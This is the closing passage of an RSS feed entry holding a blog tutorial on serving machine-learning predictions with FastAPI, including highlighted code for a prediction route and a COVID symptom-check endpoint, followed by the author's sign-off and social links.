    &lt;span class="n"&gt;prediction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;prediction&lt;/span&gt;


&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/covid-symptom-check&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_risk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;symptom_check&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;uvicorn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://fastapi.tiangolo.com/" rel="noopener noreferrer"&gt;FastAPI documentation&lt;/a&gt; is the best place to learn more about core concepts of the framework. &lt;/p&gt;
&lt;/blockquote&gt;



&lt;br&gt;
&lt;br&gt;

&lt;blockquote&gt;
&lt;p&gt;Hope you liked the article.&lt;/p&gt;


&lt;/blockquote&gt;

&lt;p&gt;Feel free to ask your questions in the comments or reach me out personally.&lt;/p&gt;

&lt;p&gt;👉 Twitter: &lt;a href="https://twitter.com/aniketmaurya" rel="noopener noreferrer"&gt;https://twitter.com/aniketmaurya&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;👉 Linkedin: &lt;a href="https://linkedin.com/in/aniketmaurya" rel="noopener noreferrer"&gt;https://linkedin.com/in/aniketmaurya&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tensorflow</category>
      <category>webdev</category>
      <category>python</category>
      <category>machinelearning</category>
    </item>
  </channel>
</rss>
